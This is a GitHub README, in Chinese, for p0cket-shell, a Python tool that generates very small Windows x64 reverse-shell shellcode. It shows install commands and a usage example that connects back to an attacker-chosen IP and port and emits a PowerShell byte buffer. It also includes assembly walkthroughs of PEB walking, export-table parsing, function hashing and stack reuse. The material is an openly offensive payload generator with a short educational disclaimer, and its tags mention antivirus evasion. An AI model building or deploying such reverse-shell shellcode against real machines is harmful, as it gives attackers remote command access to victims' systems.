SilentisVox/p0cket-shell
GitHub: SilentisVox/p0cket-shell
一个专注于极致精简代码体积的Windows x64反向Shell Shellcode生成工具,旨在通过最少指令建立连接。
Stars: 2 | Forks: 0
# p0cket-shell
p0cket-shell 是目前最小的反向 shell shellcode。
编写此 shellcode 的目的是为了探索在可执行文件中使用最少的指令来建立一个反向 shell。
虽然我不认为该可执行文件客观上是最小的,但它比我最初研究的要小得多。
**免责声明**:生成的 shellcode 仅用于教育和测试目的。
请勿在未获得许可的机器上使用此 shellcode。
请勿使用此 shellcode 对未获授权的机器进行利用或通信。
Special thanks to Waffles
## 安装
```
git clone https://github.com/SilenitsVox/p0cket-shell
cd p0cket-shell
python p0cket-shell.py
```
## 使用方法
生成 shellcode 的过程非常简单。
共有 3 种 payload:**Resolve**、**Hardcode** 和 **Single**。
对于 **Resolve**,在 WINDOWS X64 架构上执行时,payload 将始终成功。
至于 **Hardcode**,函数偏移量被 *硬编码* 在 shellcode 中。
在 WINDOWS X64 架构上执行时,只要机器是最新的,payload 将始终成功。
对于 **Single**,如果放置在可执行文件中且机器是最新的,payload 将会成功。[2025-03-15]
`--payload`、`--lhost`、`--lport` 都是必选项。`--format`、`--output` 参数不是必选项。
- `--payload`,必须使用 `resolve || hardcode || single` 值。
- `--lhost`,必须使用有效的 IP `0.0.0.0`。
- `--lport`,必须使用有效的端口 `0-65535`。
- `--format`,可以应用的值为 `asm || c || exe || powershell || python || raw`。
- `--output`,可以将输出保存到指定的文件路径。
```
> python3 p0cket-shell.py \
--payload resolve \
--lhost 192.168.0.101 \
--lport 4444 \
--format ps1
[*] Payload size: 356 bytes
[*] Final size of PowerShell file: 2430 bytes
$Buffer = [Byte[]] @(
0x65, 0x48, 0x8b, 0x04 ...
```
## 它是如何工作的?
反向 shell shellcode 遵循独特且明确的执行流程。
所需的函数包括 `CreateProcessA`(位于 `kernel32.dll` 模块中),以及 `WSAStartup`、`WSASocketA` 和 `connect`(位于 `ws2_32.dll` 模块中)。
大多数 shellcode 会执行 PEB 遍历来检索 `kernel32.dll` 或 `ws2_32.dll` 的句柄。
你也可以使用 `LoadLibraryA` 函数来获取这些模块的句柄。
标准的 PEB 遍历利用段寄存器和多次指针读取来检索所需已加载模块的基地址。
PEB 的结构保持不变,这就是为什么它是检索模块句柄最可靠的方法。
PEB 遍历可能如下所示。
```
GET_KERNEL32:
MOV RAX, GS:[0x60] ; Segment Register + 0x60 => pPEB
MOV RAX, [RAX + 0x18] ; pPEB + 0x18 => pLoaderData
MOV RAX, [RAX + 0x30] ; pLoaderData + 0x30 => pInLoadOrderModuleList
MOV RAX, [RAX] ; pInLoaderOrderModuleList => Flink
MOV RAX, [RAX] ; Flink => Flink
MOV RAX, [RAX + 0x10] ; Flink + 0x10 => pModule
```
一旦获得了所需模块的句柄,你就可以找到所需函数的偏移量。
当模块包含导出函数时,每个函数的信息都位于数据目录中。
这些函数的关键字段包括:`NumberOfNames`、`NumberOfFunctions`、`AddressOfNames`、`AddressOfFunctions` 和 `AddressOfNameOrdinals`。
- 字段 `NumberOfNames` 和 `NumberOfFunctions` 包含一个 4 字节的值。该值是导出函数的数量。
- 字段 `AddressOfNames` 包含一个 4 字节的值。
该值是模块内每个函数名称的偏移量。
每个名称都以空字符结尾,因此自然的分隔符是 0。
- 字段 `AddressOfFunctions` 包含一个 4 字节的值。
该值是模块内 dll 中每个函数偏移量的偏移量。
每个函数偏移量为 4 字节。
- 字段 `AddressOfNameOrdinals` 包含一个 4 字节的值。
该值是模块内每个函数槽号的偏移量。
每个槽号为 2 字节。
#### 解析
在解析函数地址时,你必须拥有与该函数相关的任何值。
最节省空间的函数标识符是函数的硬编码 4 字节哈希值。
注意:为了保持空间效率,哈希算法必须尽可能基础。
通过加载每个函数名称,对其进行哈希处理,并与已知哈希进行比较,我们可以获取每个函数的地址。
###### 示例哈希算法
```
HASH:
LODSB ; Load character into RAX
ROR R11D, 0x07 ; Rotate hash 7 bits
ADD R11D, EAX ; Add character to hash
```
###### 示例函数解析
```
PARSE_MODULE:
MOV R8D, [RCX + 0x3c] ; Module Base Address + 0x3c => Pe Header Offset
LEA R8, [RCX + R8] ; Module Base Address + Pe Header Offset => Pe Header
MOV R8D, [R8 + 0x88] ; Pe Header + 0x88 => Export Directory Offset
LEA R8, [RCX + R8] ; Module Base Address + Export Directory Offset => Export Directory
MOV R9D, [R8 + 0x18] ; Export Directory + 0x18 => NumberOfNames
MOV R10D, [R8 + 0x20] ; Export Directory + 0x20 => AddressOfNames Offset
LEA R10, [RCX + R10] ; Module Base Address + AddressOfNames Offset => AddressOfNames
SEARCH:
DEC R9 ; NumberOfNames - 0x01 => Next Index
MOV ESI, [R10 + R9 * 0x04] ; AddressOfNames + (NumberOfNames * Address Size) => Next Function Name Offset
LEA RSI, [RCX + RSI] ; Module Base Address + Next Function Name Offset => Next Function Name
RETURN_FUNCTION:
MOV EAX, [R8 + 0x24] ; Base Address + Pe Header Offset => Pe Header Value
LEA RAX, [RCX + RAX] ; Base Address + Pe Header Value => Pe Header Address
MOVZX EDX, WORD [RAX + R9 * 0x02] ; Pe Header Address + Export Directory Offset => Export Directory Value
MOV EAX, [R8 + 0x1c] ; Pe Header Address + Export Directory Value => Export Directory Address
LEA RAX, [RCX + RAX] ; Export Directory Address + NumberOfNames Offset => dwNumberOfNames
MOV EAX, [RAX + RDX * 0x04] ; Export Directory Address + AddressOfNames Offset => pAddressOfNames
LEA RAX, [RCX + RAX] ; Base Address + pAdddressOfNames => lpAddressOfNames
RET
```
#### 硬编码
当机器是最新的时,模块内的函数偏移量是不变的。
这意味着如果可以计算出每个函数的偏移量;这些偏移量可以在 shellcode 中硬编码。
这也意味着这种函数调用方式是不可靠的。
###### 示例硬编码函数
```
GET_WINEXEC:
; CALL GET_KERNEL32
; MOV RCX, 0x000707d0 ; WinExec Offset
LEA RDX, [RAX + RCX]
```
## 为什么这是最小的?
p0cket-shell 与其他可用 shellcode 之间最大的区别在于调用约定。
Windows 在调用函数时遵循相同的协议;该协议称为 **Windows ABI** 或 **标准调用 (standard call)**。
函数的第一个参数放在 RCX 中。
第二个参数放在 RDX 中,接下来是 R8,然后是 R9。
任何后续参数都以相反的顺序存储在栈上。
Windows 还要求 16 字节对齐的栈以及 32 字节的零化开销。
###### 示例 Windows 调用
```
CALL_WINDOWS_FUNCTION:
MOV RCX, PARAMETER_1
MOV RDX, PARAMETER_2
MOV R8, PARAMETER_3
MOV R9, PARAMETER_4
PUSH PARAMETER_5
PUSH PARAMETER_6
SUB RSP, 0x20
```
**这对 shellcode 意味着什么?**
好吧,我们使用的一些函数(LoadLibraryA, WSAStartup, connect)利用了栈,但不依赖于它。
当我们调用这些函数时,它们不需要栈来返回正确的参数。
它们需要 32 字节的栈开销,但不需要零。
我们可以为其他函数重用栈空间,`LoadLibraryA → WSAStartup`。
我们必须为其他函数压入 0,但稍后重用它们 `WSASocketA → connect`。
我们还可以重用预测的寄存器。
返回寄存器 `RAX` 可能包含表示成功的 0,这意味着不必将其清零。
Special thanks to Waffles
标签:Linux安全, p0cket-shell, Python, Shellcode, Windows X64, 二进制安全, 免杀技术, 反向Shell, 快速连接, 恶意代码分析, 技术调研, 攻击脚本, 数据展示, 无后门, 暴力破解检测, 汇编语言, 端点可见性, 红队, 网络安全, 自动回退, 逆向工具, 配置文件, 隐私保护